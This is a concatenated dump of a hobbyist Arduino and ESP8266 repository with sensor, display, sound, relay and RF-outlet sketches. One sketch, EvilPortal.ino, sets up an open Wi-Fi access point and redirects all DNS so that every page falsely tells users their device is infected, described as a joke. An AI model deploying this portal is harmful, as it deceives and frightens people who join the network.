4 |
5 |
14 |
15 |
16 |
17 |
18 |
19 |
--------------------------------------------------------------------------------
/ESP8266/CaptivePortal/Notes.h:
--------------------------------------------------------------------------------
1 | /*
2 | * References:
3 | * https://github.com/esp8266/Arduino/blob/esp8266/hardware/esp8266com/esp8266/libraries/DNSServer/examples/CaptivePortal/CaptivePortal.ino
4 | * Similar: http://www.esp8266.com/viewtopic.php?f=32&t=3618&p=23900#p23900
5 | */
6 |
7 | /*
8 | * Notes:
9 | * This Sketch is for Arduino 1.6.6 daily build
10 | * The DNSServer.cpp and DNSServer.h tabs are bound to the sketch
11 | * As the Arduino ESP8266 repository as of this time has not been
12 | * Patched for the DNS bug
13 | *
14 | * All files must be in a single Sketch folder
15 | */
16 |
17 |
18 |
--------------------------------------------------------------------------------
/ESP8266/EvilPortal/Notes.h:
--------------------------------------------------------------------------------
1 | /*
2 | * References:
3 | * https://github.com/esp8266/Arduino/blob/esp8266/hardware/esp8266com/esp8266/libraries/DNSServer/examples/CaptivePortal/CaptivePortal.ino
4 | * Similar: http://www.esp8266.com/viewtopic.php?f=32&t=3618&p=23900#p23900
5 | */
6 |
7 | /*
8 | * Notes:
9 | * This Sketch is for Arduino 1.6.6 daily build
10 | * The DNSServer.cpp and DNSServer.h tabs are bound to the sketch
11 | * As the Arduino ESP8266 repository as of this time has not been
12 | * Patched for the DNS bug
13 | *
14 | * All files must be in a single Sketch folder
15 | */
16 |
17 |
18 |
--------------------------------------------------------------------------------
/ESP8266/Displays/Matrix/MatrixPortal/Notes.h:
--------------------------------------------------------------------------------
1 | /*
2 | * References:
3 | * https://github.com/esp8266/Arduino/blob/esp8266/hardware/esp8266com/esp8266/libraries/DNSServer/examples/CaptivePortal/CaptivePortal.ino
4 | * Similar: http://www.esp8266.com/viewtopic.php?f=32&t=3618&p=23900#p23900
5 | */
6 |
7 | /*
8 | * Notes:
9 | * This Sketch is for Arduino 1.6.6 daily build
10 | * The DNSServer.cpp and DNSServer.h tabs are bound to the sketch
11 | * As the Arduino ESP8266 repository as of this time has not been
12 | * Patched for the DNS bug
13 | *
14 | * All files must be in a single Sketch folder
15 | */
16 |
17 |
18 |
--------------------------------------------------------------------------------
/Arduino/GasSmoke/GasMonitor_Basic/GasMonitor_Basic.ino:
--------------------------------------------------------------------------------
1 | /* Testing MQ-2 GAS sensor with serial monitor
2 | Suitable for detecting of LPG, i-butane, propane, methane ,alcohol, Hydrogen or smoke
3 | More info: http://www.ardumotive.com/how-to-use-mq2-gas-sensor-en.html
4 | Dev: Michalis Vasilakis // Date: 11/6/2015 // www.ardumotive.com */
5 |
6 | const int gasPin = A0; //GAS sensor output pin to Arduino analog A0 pin
7 |
8 |
9 | void setup()
10 | {
11 | Serial.begin(9600); //Initialize serial port - 9600 bps
12 | }
13 |
14 | void loop()
15 | {
16 | Serial.println(analogRead(gasPin));
17 | delay(1000); // Print value every 1 sec.
18 | }
19 |
--------------------------------------------------------------------------------
/Arduino/Sounds/BasicNotes/BasicNotes.ino:
--------------------------------------------------------------------------------
1 | // Connect VCC to +4V
2 | // Connect GND to Ground
3 | // Connect RX (data into SIM800L) to Digital 11
4 | // Connect TX (data out from SIM800L) to Digital 10
5 |
6 | #include
7 |
8 | SoftwareSerial mySerial(10, 11); // RX, TX
9 |
10 | void setup()
11 | {
12 | // Open serial communications and wait for port to open:
13 | Serial.begin(9600);
14 | mySerial.begin(9600);
15 |
16 | }
17 |
18 | void loop() // run over and over
19 | {
20 | if (mySerial.available())
21 | Serial.write(mySerial.read());
22 |
23 | if (Serial.available())
24 | {
25 | while(Serial.available())
26 | {
27 | mySerial.write(Serial.read());
28 | }
29 | mySerial.println();
30 | }
31 | }
32 |
--------------------------------------------------------------------------------
/ESP8266/Displays/7SegmentDisplay/ScollingText/ScollingText.ino:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | #define DISP_DATA_PIN 5
4 | #define DISP_CLOCK_PIN 4
5 | #define DISP_BLANK_PIN 2
6 |
7 | HC4LED disp(DISP_CLOCK_PIN, DISP_DATA_PIN, DISP_BLANK_PIN, true);
8 |
9 | void setup()
10 | {
11 | // Why do you think I don't say "hello world" here? :)
12 | disp.scroll_text("hello happy place ", 1000);
13 | disp.scroll_text("0123456789-' ", 2000);
14 | disp.display_text("hi", 1000);
15 | disp.set_upside_down(false);
16 | disp.display_text("hi", 1000);
17 | disp.set_upside_down(true);
18 | }
19 |
20 | void loop()
21 | {
22 | // display a count of seconds since the computer started
23 | disp.display_number((unsigned short)(millis() / 1000));
24 | delay(1000);
25 | }
26 |
--------------------------------------------------------------------------------
/Arduino/Wireless/315-433mhz/ToggleOutlet/ToggleOutlet.ino:
--------------------------------------------------------------------------------
1 | /*
2 | Example for different sending methods
3 | For Zapp Outlet Plugs
4 | https://github.com/sui77/rc-switch/
5 |
6 | */
7 |
8 | #include
9 |
10 | RCSwitch mySwitch = RCSwitch();
11 |
12 | void setup() {
13 |
14 | Serial.begin(9600);
15 |
16 | // Transmitter is connected to Arduino Pin #10
17 | mySwitch.enableTransmit(10);
18 | mySwitch.setPulseLength(185);
19 |
20 | // Optional set protocol (default is 1, will work for most outlets)
21 | // mySwitch.setProtocol(2);
22 |
23 | // Optional set number of transmission repetitions.
24 | // mySwitch.setRepeatTransmit(15);
25 |
26 | }
27 |
28 | void loop() {
29 |
30 |
31 | /* Same switch as above, but using decimal code */
32 | mySwitch.send(89347, 24);
33 | delay(1000);
34 | mySwitch.send(89356, 24);
35 | delay(1000);
36 |
37 |
38 | }
39 |
--------------------------------------------------------------------------------
/ESP8266/loadESP_Linux.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | #ESP8266 Basic Arduino IDE setup
3 | #pin layout diagram
4 | xdg-open "http://www.cnx-software.com/wp-content/uploads/2015/10/NodeMCU_v0.9_Pinout.png"
5 | #Instructions from
6 | xdg-open "http://www.whatimade.today/esp8266-easiest-way-to-program-so-far/"
7 |
8 | #download the latest IDE - https://www.arduino.cc/en/Main/Software
9 | wget "https://downloads.arduino.cc/arduino-1.6.9-linux64.tar.xz" -O arduinoIDE.tar.xz
10 |
11 | #extract
12 | tar xf arduinoIDE.tar.xz
13 | cd arduino-*
14 |
15 | echo "Go to File --> Preferences and add the link http://arduino.esp8266.com/stable/package_esp8266com_index.json to the Additional Boards Manager URLS."
16 | echo "Then Go to Tools --> Board --> Boards manager and search for esp"
17 | ./arduino
18 |
19 | ./.arduino15/packages/esp8266/hardware/esp8266/2.3.0/cores/esp8266/
20 | #Pin 16 is the on board LED
21 | #The default Blink program example for the ESP8266 has the wrong pin set for this model
22 | ####Hold Down Flash button on board until uploading starts###
23 |
--------------------------------------------------------------------------------
/ESP8266/wemos/RelayBasic/RelayBasic.ino:
--------------------------------------------------------------------------------
1 | /*
2 | ESP8266 Blink by Simon Peter
3 | Blink the blue LED on the ESP-01 module
4 | This example code is in the public domain
5 |
6 | The blue LED on the ESP-01 module is connected to GPIO1
7 | (which is also the TXD pin; so we cannot use Serial.print() at the same time)
8 |
9 | Note that this sketch uses LED_BUILTIN to find the pin with the internal LED
10 | Modified for relay by Kris Occhipinti http://filmsbykris.com
11 | */
12 |
13 | const int Relay = 5;
14 |
15 | void setup() {
16 | pinMode(LED_BUILTIN, OUTPUT); // Initialize the LED_BUILTIN pin as an output
17 | pinMode(Relay, OUTPUT);
18 | }
19 |
20 | // the loop function runs over and over again forever
21 | void loop() {
22 | digitalWrite(LED_BUILTIN, LOW);
23 | digitalWrite(Relay, LOW);
24 |
25 | delay(1000);
26 | digitalWrite(LED_BUILTIN, HIGH);
27 | digitalWrite(Relay, HIGH);
28 | delay(2000);
29 | }
30 |
--------------------------------------------------------------------------------
/Arduino/GasSmoke/GasSmoke_Digital/GasSmoke_Digital.ino:
--------------------------------------------------------------------------------
1 | /* GAS Sensor MQ-2
2 | This sensor detects flammable gasses
3 | the board has four pins
4 | connect AO to Arduino pin A0
5 | connect DO to Arduino pin 2
6 | connect Gnd to Arduino Gnd
7 | connect Vcc to Arduino 5 volts
8 | */
9 |
10 | int sensorPin = A0; // select the input pin for the potentiometer
11 | int DOPin = 2; // select the pin for the LED
12 | int sensorValue = 0; // variable to store the value coming from the sensor
13 | int ledPin =13;
14 |
15 | void setup() {
16 | // declare the ledPin as an OUTPUT:
17 | pinMode(DOPin, INPUT);
18 | pinMode(ledPin, OUTPUT);
19 | Serial.begin(9600);
20 | }
21 |
22 |
23 | void loop() {
24 | // read the value from the sensor:
25 | sensorValue = analogRead(sensorPin);
26 | Serial.print("Analog Output = ");
27 | Serial.println(sensorValue);
28 | // turn the ledPin on if triggered
29 | //
30 | if (digitalRead(DOPin) ==HIGH){
31 | digitalWrite(ledPin, LOW);
32 | Serial.println("Digital Output = OFF");
33 | }
34 | else {
35 | digitalWrite(ledPin, HIGH);
36 | Serial.println("Digital Output = ON");
37 | }
38 | delay(1000);
39 | }
40 |
--------------------------------------------------------------------------------
/Arduino/Sonar/BasicPing/BasicPing.ino:
--------------------------------------------------------------------------------
1 | // ---------------------------------------------------------------------------
2 | // Example NewPing library sketch that does a ping about 20 times per second.
3 | // ---------------------------------------------------------------------------
4 |
5 | #include
6 |
7 | #define TRIGGER_PIN 12 // Arduino pin tied to trigger pin on the ultrasonic sensor.
8 | #define ECHO_PIN 11 // Arduino pin tied to echo pin on the ultrasonic sensor.
9 | #define MAX_DISTANCE 200 // Maximum distance we want to ping for (in centimeters). Maximum sensor distance is rated at 400-500cm.
10 |
11 | NewPing sonar(TRIGGER_PIN, ECHO_PIN, MAX_DISTANCE); // NewPing setup of pins and maximum distance.
12 |
13 | void setup() {
14 | Serial.begin(115200); // Open serial monitor at 115200 baud to see ping results.
15 | }
16 |
17 | void loop() {
18 | delay(50); // Wait 50ms between pings (about 20 pings/sec). 29ms should be the shortest delay between pings.
19 | unsigned int uS = sonar.ping(); // Send ping, get ping time in microseconds (uS).
20 | Serial.print("Ping: ");
21 | Serial.print(uS / US_ROUNDTRIP_CM); // Convert ping time to distance and print result (0 = outside set distance range, no ping echo)
22 | Serial.println("cm");
23 | }
24 |
--------------------------------------------------------------------------------
/Arduino/Sonar/BasicPingDigitsOnly/BasicPingDigitsOnly.ino:
--------------------------------------------------------------------------------
1 | // ---------------------------------------------------------------------------
2 | // Example NewPing library sketch that does a ping about 20 times per second.
3 | // ---------------------------------------------------------------------------
4 |
5 | #include
6 |
7 | #define TRIGGER_PIN 2 // Arduino pin tied to trigger pin on the ultrasonic sensor.
8 | #define ECHO_PIN 3 // Arduino pin tied to echo pin on the ultrasonic sensor.
9 | #define MAX_DISTANCE 200 // Maximum distance we want to ping for (in centimeters). Maximum sensor distance is rated at 400-500cm.
10 |
11 | NewPing sonar(TRIGGER_PIN, ECHO_PIN, MAX_DISTANCE); // NewPing setup of pins and maximum distance.
12 |
13 | void setup() {
14 | Serial.begin(115200); // Open serial monitor at 115200 baud to see ping results.
15 | }
16 |
17 | void loop() {
18 | delay(50); // Wait 50ms between pings (about 20 pings/sec). 29ms should be the shortest delay between pings.
19 | unsigned int uS = sonar.ping(); // Send ping, get ping time in microseconds (uS).
20 | //Serial.print("Ping: ");
21 | Serial.println(uS / US_ROUNDTRIP_CM); // Convert ping time to distance and print result (0 = outside set distance range, no ping echo)
22 | //Serial.println("cm");
23 | }
24 |
--------------------------------------------------------------------------------
/ESP8266/RadioTX-RX/SwitchReceiver/SwitchReceiver.ino:
--------------------------------------------------------------------------------
1 | /*
2 | Code by Kris Occhipinti
3 | Flip switch on RF signal
4 | GPLv3 August 21, 2016
5 | http://filmsbykris.com
6 | Based on library https://github.com/sui77/rc-switch/
7 |
8 | Switch output GPIO#13 - D7
9 | RF recevier GPIO#0 - D3
10 |
11 | */
12 |
13 |
14 | #include
15 | int pinSW = 13; //Our Swith ESP D7
16 | int led = 16;
17 |
18 | RCSwitch mySwitch = RCSwitch();
19 |
20 | void setup() {
21 | pinMode(pinSW, OUTPUT);
22 | pinMode(led, OUTPUT);
23 | Serial.begin(9600);
24 | Serial.println("Welcome");
25 | mySwitch.enableReceive(0); // Receiver on interrupt 0 => that is D3 or GPIO pin #0
26 | }
27 |
28 | void loop() {
29 | if (mySwitch.available()) {
30 |
31 | int value = mySwitch.getReceivedValue();
32 |
33 | if (value == 0) {
34 | Serial.print("Unknown encoding");
35 | } else {
36 | if(mySwitch.getReceivedValue() == 89347){
37 | Serial.println("Unlock");
38 | digitalWrite(pinSW, HIGH);
39 | digitalWrite(led, HIGH); // turn the LED on (HIGH is the voltage level)
40 | delay(2000); // wait for a second
41 | digitalWrite(pinSW, LOW);
42 | digitalWrite(led, LOW);// turn the LED off by making the voltage LOW
43 | delay(1000);
44 | }
45 | }
46 |
47 | mySwitch.resetAvailable();
48 | }
49 | }
50 |
--------------------------------------------------------------------------------
/ESP8266/wemos/BasicButtonPress/BasicButtonPress.ino:
--------------------------------------------------------------------------------
1 | const int buttonPin = 0; // D3 on Wemos is GPIO0
2 | const int ledPin = 2; // D4 on the Wemos is the builtin LED - GPIO2
3 | int t = 0; // Prevents false presses by counting loops while button is pressed
4 | int tl = 50; // Number of loops before button is pressed
5 | int d = 1000; //delay between presses to prevent triggering more than once
6 |
7 | int buttonState = 0; // variable for reading the pushbutton status
8 |
9 | void setup() {
10 | Serial.begin(115200);
11 |
12 | // initialize the LED pin as an output:
13 | pinMode(ledPin, OUTPUT);
14 | // initialize the pushbutton pin as an input:
15 | pinMode(buttonPin, INPUT);
16 | }
17 |
18 | void loop() {
19 | // read the state of the pushbutton value:
20 | buttonState = digitalRead(buttonPin);
21 |
22 | // check if button is pressed.
23 | //button not pressed
24 | if (buttonState == HIGH) {
25 | // turn LED off:
26 | digitalWrite(ledPin, HIGH);
27 | t=0;
28 | //Serial.println("High");
29 | //button pressed
30 | } else {
31 | //if button is pressed for long enough then trigger
32 | if(t == tl){
33 | // turn LED on:
34 | digitalWrite(ledPin, LOW);
35 | Serial.println("Button Pressed");
36 | delay(d);
37 | }else{
38 | t++;
39 | }
40 | }
41 |
42 |
43 | }
44 |
--------------------------------------------------------------------------------
/Arduino/Sounds/NIN_Closer/NIN_Closer.ino:
--------------------------------------------------------------------------------
1 | /*
2 | NIN Closer
3 | GPLv3 - August 17th, 2016
4 | Plays The Medoly from the end of Closer by Trent Reznor
5 | Created by Kris Occhipinti
6 |
7 | Based on code by Tom Igoe
8 | Connect Speaker to Pin#8 and Ground on your Arduino
9 |
10 | http://www.arduino.cc/en/Tutorial/Tone
11 |
12 | */
13 | #include "pitches.h"
14 |
15 | // notes in the melody:
16 | int melody[] = {
17 | NOTE_G4, NOTE_F4, NOTE_F4, NOTE_E4, NOTE_E4, NOTE_D4, NOTE_B3, NOTE_B3, NOTE_A3, NOTE_C4, NOTE_C3
18 | };
19 |
20 | // note durations: 4 = quarter note, 8 = eighth note, etc.:
21 | int noteDurations[] = {
22 | 2, 1, 2, 1, 2, 1, 4, 4, 4, 4, 1
23 | };
24 |
25 | void setup() {
26 | // iterate over the notes of the melody:
27 | for (int thisNote = 0; thisNote < 11; thisNote++) {
28 |
29 | // to calculate the note duration, take one second
30 | // divided by the note type.
31 | //e.g. quarter note = 1000 / 4, eighth note = 1000/8, etc.
32 | int noteDuration = 1000 / noteDurations[thisNote];
33 | tone(8, melody[thisNote], noteDuration);
34 |
35 | // to distinguish the notes, set a minimum time between them.
36 | // the note's duration + 30% seems to work well:
37 | int pauseBetweenNotes = noteDuration * 1.30;
38 | delay(pauseBetweenNotes);
39 | // stop the tone playing:
40 | noTone(8);
41 | }
42 | }
43 |
44 | void loop() {
45 | // no need to repeat the melody.
46 | }
47 |
--------------------------------------------------------------------------------
/Arduino/Displays/LEDDisplay/7segment/serialControl/serialControl.ino:
--------------------------------------------------------------------------------
1 | #include "LedControl.h"
2 | String inString = "";
3 | int pos = 0;
4 | // Arduino Pin 12 to DIN, 11 to Clk, 10 to LOAD, no.of devices is 1
5 | LedControl lc = LedControl(12,11,10,1);
6 | void setup() {
7 | Serial.begin(115200);
8 | // Initialize the MAX7219 device
9 | lc.shutdown(0, false); // Enable display
10 | lc.setIntensity(0, 10); // Set brightness level (0 is min, 15 is max)
11 | lc.clearDisplay(0); // Clear display register
12 | for (int i = 0; i < 8; i++) {
13 | lc.setDigit(0, i, i + 1, false);
14 | }
15 | }
16 | void loop() {
17 |
18 | // send data only when you receive data:
19 | if (Serial.available() > 0) {
20 | int inChar = Serial.read();
21 | if (isDigit(inChar)) {
22 | inString = (char) inChar;
23 | }
24 |
25 | if (inChar == '\n') {
26 | int x = inString.toInt();
27 | Serial.print("I received: ");
28 | Serial.println(x);
29 | lc.setDigit(0, pos, x, false);
30 | pos++;
31 | if (pos > 7) {
32 | pos = 0;
33 | }
34 | }
35 | }
36 | }
37 |
38 | //To connect through Linux Shell
39 | //stty raw -echo < /dev/ttyUSB0 #activate connection
40 | //while [ 1 ];do for i in `seq 0 9`;do for x in `seq 0 9`;do echo $i > /dev/ttyUSB0;sleep .05;done;done;done #this loops through all digits
41 |
--------------------------------------------------------------------------------
/Arduino/MotionSensors/basic/basic.ino:
--------------------------------------------------------------------------------
1 | /*
2 | Arduino with PIR motion sensor
3 | For complete project details, visit: http://RandomNerdTutorials.com/pirsensor
4 | Modified by Rui Santos based on PIR sensor by Limor Fried
5 | */
6 |
7 | int led = 13; // the pin that the LED is atteched to
8 | int sensor = 2; // the pin that the sensor is atteched to
9 | int state = LOW; // by default, no motion detected
10 | int val = 0; // variable to store the sensor status (value)
11 |
12 | void setup() {
13 | pinMode(led, OUTPUT); // initalize LED as an output
14 | pinMode(sensor, INPUT); // initialize sensor as an input
15 | Serial.begin(9600); // initialize serial
16 | }
17 |
18 | void loop(){
19 | val = digitalRead(sensor); // read sensor value
20 | if (val == HIGH) { // check if the sensor is HIGH
21 | digitalWrite(led, HIGH); // turn LED ON
22 | delay(100); // delay 100 milliseconds
23 |
24 | if (state == LOW) {
25 | Serial.println("Motion detected!");
26 | state = HIGH; // update variable state to HIGH
27 | }
28 | }
29 | else {
30 | digitalWrite(led, LOW); // turn LED OFF
31 | delay(200); // delay 200 milliseconds
32 |
33 | if (state == HIGH){
34 | Serial.println("Motion stopped!");
35 | state = LOW; // update variable state to LOW
36 | }
37 | }
38 | }
39 |
--------------------------------------------------------------------------------
/Arduino/Displays/0.96 I2C IIC 128x64 OLED/scrollingtext/scrollingtext.ino:
--------------------------------------------------------------------------------
1 | /*
2 |
3 |
4 |
5 | */
6 |
7 |
8 | #include "U8glib.h"
9 |
10 |
11 | U8GLIB_SSD1306_128X64 u8g(U8G_I2C_OPT_NONE|U8G_I2C_OPT_DEV_0); // I2C / TWI
12 | int x = 0;
13 | int x2 = 0;
14 |
15 |
16 | void draw(void) {
17 | // graphic commands to redraw the complete screen should be placed here
18 | u8g.setFont(u8g_font_unifont);
19 | //u8g.setFont(u8g_font_osb21);
20 | u8g.drawStr( x, 22, "www.FilmsByKris.com!");
21 | u8g.drawStr( x2, 44, "Believe in FREEDOM!!!");
22 | }
23 |
24 | void setup(void) {
25 |
26 | // flip screen, if required
27 | // u8g.setRot180();
28 |
29 | // set SPI backup if required
30 | //u8g.setHardwareBackup(u8g_backup_avr_spi);
31 |
32 | // assign default color value
33 | if ( u8g.getMode() == U8G_MODE_R3G3B2 ) {
34 | u8g.setColorIndex(255); // white
35 | }
36 | else if ( u8g.getMode() == U8G_MODE_GRAY2BIT ) {
37 | u8g.setColorIndex(3); // max intensity
38 | }
39 | else if ( u8g.getMode() == U8G_MODE_BW ) {
40 | u8g.setColorIndex(1); // pixel on
41 | }
42 | else if ( u8g.getMode() == U8G_MODE_HICOLOR ) {
43 | u8g.setHiColorByRGB(255,255,255);
44 | }
45 |
46 | //pinMode(8, OUTPUT);
47 | }
48 |
49 | void loop(void) {
50 | // picture loop
51 | u8g.firstPage();
52 | do {
53 | draw();
54 | x--;
55 | x2++;
56 | } while( u8g.nextPage() );
57 |
58 | // rebuild the picture after some delay
59 | //delay(50);
60 | }
61 |
62 |
--------------------------------------------------------------------------------
/Arduino/Sonar/BasicNoLibs_Inches/BasicNoLibs_Inches.ino:
--------------------------------------------------------------------------------
1 | /*
2 | * created by Rui Santos, http://randomnerdtutorials.com
3 | *
4 | * Complete Guide for Ultrasonic Sensor HC-SR04
5 | *
6 | Ultrasonic sensor Pins:
7 | VCC: +5VDC
8 | Trig : Trigger (INPUT) - Pin2
9 | Echo: Echo (OUTPUT) - Pin 0
10 | GND: GND
11 | */
12 |
13 | int trigPin = 2; //Trig - green Jumper
14 | int echoPin = 0; //Echo - yellow Jumper
15 | long duration, cm, inches;
16 |
17 | void setup() {
18 | //Serial Port begin
19 | Serial.begin (9600);
20 | //Define inputs and outputs
21 | pinMode(trigPin, OUTPUT);
22 | pinMode(echoPin, INPUT);
23 | }
24 |
25 | void loop()
26 | {
27 |
28 |
29 | // The sensor is triggered by a HIGH pulse of 10 or more microseconds.
30 | // Give a short LOW pulse beforehand to ensure a clean HIGH pulse:
31 | digitalWrite(trigPin, LOW);
32 | delayMicroseconds(5);
33 | digitalWrite(trigPin, HIGH);
34 | delayMicroseconds(10);
35 | digitalWrite(trigPin, LOW);
36 |
37 | // Read the signal from the sensor: a HIGH pulse whose
38 | // duration is the time (in microseconds) from the sending
39 | // of the ping to the reception of its echo off of an object.
40 | pinMode(echoPin, INPUT);
41 | duration = pulseIn(echoPin, HIGH);
42 |
43 | // convert the time into a distance
44 | cm = (duration/2) / 29.1;
45 | inches = (duration/2) / 74;
46 |
47 | Serial.print(inches);
48 | Serial.print("in, ");
49 | Serial.print(cm);
50 | Serial.print("cm");
51 | Serial.println();
52 |
53 | delay(250);
54 | }
55 |
--------------------------------------------------------------------------------
/Arduino/Displays/LCD_Display/16pin/_16pinHelloWorld/_16pinHelloWorld.ino:
--------------------------------------------------------------------------------
1 | /*
2 | LiquidCrystal Library - Hello World
3 |
4 | Demonstrates the use a 16x2 LCD display. The LiquidCrystal
5 | library works with all LCD displays that are compatible with the
6 | Hitachi HD44780 driver. There are many of them out there, and you
7 | can usually tell them by the 16-pin interface.
8 |
9 | This sketch prints text to the LCD
10 | and shows the time.
11 |
12 | The circuit:
13 | LCD pin name RS EN DB4 DB5 DB6 DB7
14 | Arduino pin # 7 8 9 10 11 12
15 |
16 | Library originally added 18 Apr 2008
17 | by David A. Mellis
18 | library modified 5 Jul 2009
19 | by Limor Fried (http://www.ladyada.net)
20 | example added 9 Jul 2009
21 | by Tom Igoe
22 | modified 22 Nov 2010
23 | by Tom Igoe
24 | modified 16 July 2016
25 | by Kris Occhipinti
26 |
27 | This example code is in the public domain.
28 |
29 | https://learn.adafruit.com/character-lcds/wiring-a-character-lcd
30 | */
31 |
32 | // include the library code:
33 | #include
34 |
35 | // initialize the library with the numbers of the interface pins
36 | LiquidCrystal lcd(7, 8, 9, 10, 11, 12);
37 |
38 | void setup() {
39 | // set up the LCD's number of columns and rows:
40 | lcd.begin(16, 2);
41 | // Print a message to the LCD.
42 | lcd.print("FilmsByKris.com!");
43 | }
44 |
45 | void loop() {
46 | // set the cursor to column 0, line 1
47 | // (note: line 1 is the second row, since counting begins with 0):
48 | lcd.setCursor(0, 1);
49 | // print the number of seconds since reset:
50 | lcd.print(millis() / 1000);
51 | }
52 |
--------------------------------------------------------------------------------
/ESP8266/wemos/BasicButtonWebClient/www/photos.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | My Photos
5 |
6 |
7 |
8 |
9 |
10 |
11 |
30 |
31 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
--------------------------------------------------------------------------------
/ESP8266/Displays/7SegmentDisplay/serialControl/serialControl.ino:
--------------------------------------------------------------------------------
1 | #include "LedControl.h"
2 | String inString = "";
3 | int pos = 0;
4 | // Arduino Pin 5 to DIN, 4 to Clk, 2 to LOAD, no.of devices is 1
5 | LedControl lc = LedControl(5, 4, 2, 1);
6 | void setup() {
7 | Serial.begin(115200);
8 | // Initialize the MAX7219 device
9 | lc.shutdown(0, false); // Enable display
10 | lc.setIntensity(0, 10); // Set brightness level (0 is min, 15 is max)
11 | lc.clearDisplay(0); // Clear display register
12 | for (int i = 0; i < 8; i++) {
13 | lc.setDigit(0, i, i + 1, false);
14 | }
15 | }
16 | void loop() {
17 |
18 | // send data only when you receive data:
19 | if (Serial.available() > 0) {
20 | int inChar = Serial.read();
21 | if (isDigit(inChar)) {
22 | inString = (char) inChar;
23 |
24 | }
25 |
26 |
27 | Serial.println(inChar);
28 | if(inChar == 114){
29 | Serial.println("Reset...");
30 | for (int i = 0; i < 8; i++) {
31 | lc.setDigit(0, i, 0, false);
32 | }
33 | pos = -1;
34 | }else if (inChar == '\n') {
35 | int x = inString.toInt();
36 | Serial.print("I received: ");
37 | Serial.println(x);
38 | lc.setDigit(0, pos, x, false);
39 | pos++;
40 | if (pos > 7) {
41 | pos = 0;
42 | }
43 | }
44 | }
45 | }
46 |
47 | //To connect through Linux Shell
48 | //stty raw -echo < /dev/ttyUSB0 #activate connection
49 | //while [ 1 ];do for i in `seq 0 9`;do for x in `seq 0 9`;do echo $i > /dev/ttyUSB0;sleep .05;done;done;done #this loops through all digits
50 |
--------------------------------------------------------------------------------
/Arduino/Displays/LEDDisplay/matrix/LCDemoMatrix/LCDemoMatrix.ino:
--------------------------------------------------------------------------------
1 | //We always have to include the library
2 | #include "LedControl.h"
3 |
4 | /*
5 | Now we need a LedControl to work with.
6 | ***** These pin numbers will probably not work with your hardware *****
7 | pin 12 is connected to the DataIn
8 | pin 11 is connected to the CLK
9 | pin 10 is connected to LOAD
10 | We have only a single MAX72XX.
11 | */
12 | LedControl lc=LedControl(12,11,10,1);
13 |
14 | /* we always wait a bit between updates of the display */
15 | unsigned long delaytime=100;
16 |
17 |
18 | void setup() {
19 | /*
20 | The MAX72XX is in power-saving mode on startup,
21 | we have to do a wakeup call
22 | */
23 | lc.shutdown(0,false);
24 | /* Set the brightness to a medium values */
25 | lc.setIntensity(0,8);
26 | /* and clear the display */
27 | lc.clearDisplay(0);
28 | }
29 |
30 | void cols(){
31 | for(int col=0;col<8;col++) {
32 | for(int row=0;row<8;row++ ){
33 | lc.setLed(0,row,col,true);
34 | }
35 | delay(delaytime);
36 | lc.clearDisplay(0);
37 | }
38 |
39 | for(int col=6;col>0;col--) {
40 | for(int row=0;row<8;row++ ){
41 | lc.setLed(0,row,col,true);
42 | }
43 | delay(delaytime);
44 | lc.clearDisplay(0);
45 | }
46 | }
47 |
48 |
49 | void rows(){
50 | for(int row=0;row<8;row++ ){
51 | for(int col=0;col<8;col++) {
52 | lc.setLed(0,row,col,true);
53 | }
54 | delay(delaytime);
55 | lc.clearDisplay(0);
56 | }
57 |
58 | for(int row=6;row>0;row-- ){
59 | for(int col=0;col<8;col++) {
60 | lc.setLed(0,row,col,true);
61 | }
62 | delay(delaytime);
63 | lc.clearDisplay(0);
64 | }
65 | }
66 |
67 | void loop() {
68 | for(int i=0;i<10;i++){
69 | cols();
70 | }
71 | for(int i=0;i<10;i++){
72 | rows();
73 | }
74 | }
75 |
--------------------------------------------------------------------------------
/ESP8266/EvilPortal/EvilPortal.ino:
--------------------------------------------------------------------------------
1 | /*
2 | Original code by Captive Portal by: M. Ray Burnette 20150831
3 | See Notes tab for original code references and compile requirements
4 |
5 | This is a work in progress.
6 | This is just meant to be a joke to scare people
7 | I hope to add SDcard support in the future
8 | */
9 |
10 | #include
11 | #include "./DNSServer.h" // Patched lib
12 | #include
13 |
14 | int c = 0;
15 |
16 | const byte DNS_PORT = 53; // Capture DNS requests on port 53
17 | IPAddress apIP(10, 10, 10, 1); // Private network for server
18 | DNSServer dnsServer; // Create the DNS object
19 | ESP8266WebServer webServer(80); // HTTP server
20 |
21 | String responseHTML = ""
22 | "Virus Detected"
23 | ""
24 | "
Your Device Is Now Infected
"
25 | "
You are Welcome.
"
26 | "";
27 |
28 | void portal(){
29 | c++;
30 | webServer.send(200, "text/html", responseHTML);
31 | }
32 |
33 | void setup() {
34 | WiFi.mode(WIFI_AP);
35 | WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0));
36 | WiFi.softAP("Evil Portal");
37 |
38 | // if DNSServer is started with "*" for domain name, it will reply with
39 | // provided IP to all DNS request
40 | dnsServer.start(DNS_PORT, "*", apIP);
41 |
42 | // replay to all requests with same HTML
43 | webServer.onNotFound(portal);
44 |
45 | webServer.on("/count", [](){
46 | c--;
47 | String m = String(c, DEC);
48 | webServer.send(200, "text/plain", m);
49 | });
50 |
51 | webServer.begin();
52 | }
53 |
54 | void loop() {
55 | dnsServer.processNextRequest();
56 | webServer.handleClient();
57 | }
58 |
59 |
60 |
61 |
--------------------------------------------------------------------------------
/ESP8266/Displays/oled_all-in-one/BasicDemo/BasicDemo.ino:
--------------------------------------------------------------------------------
1 | // Include the correct display library
2 | // For a connection via I2C using Wire include
3 | #include // Only needed for Arduino 1.6.5 and earlier
4 | #include "SSD1306.h" // alias for `#include "SSD1306Wire.h"`
5 |
6 | // or #include "SH1106.h" alis for `#include "SH1106Wire.h"`
7 | // For a connection via I2C using brzo_i2c (must be installed) include
8 | // #include // Only needed for Arduino 1.6.5 and earlier
9 | // #include "SSD1306Brzo.h"
10 | // #include "SH1106Brzo.h"
11 | // For a connection via SPI include
12 | // #include // Only needed for Arduino 1.6.5 and earlier
13 | // #include "SSD1306Spi.h"
14 | // #include "SH1106SPi.h"
15 |
16 | // Initialize the OLED display using Wire library
17 | SSD1306 display(0x3c, 5,4);
18 |
19 | // SH1106 display(0x3c, 5,4);
20 |
21 | int xpos = 0;
22 |
23 | void setup() {
24 | Serial.begin(115200);
25 |
26 | Serial.println();
27 |
28 | // Initialising the UI will init the display too.
29 | display.init();
30 | display.flipScreenVertically();
31 | display.setFont(ArialMT_Plain_16);
32 | }
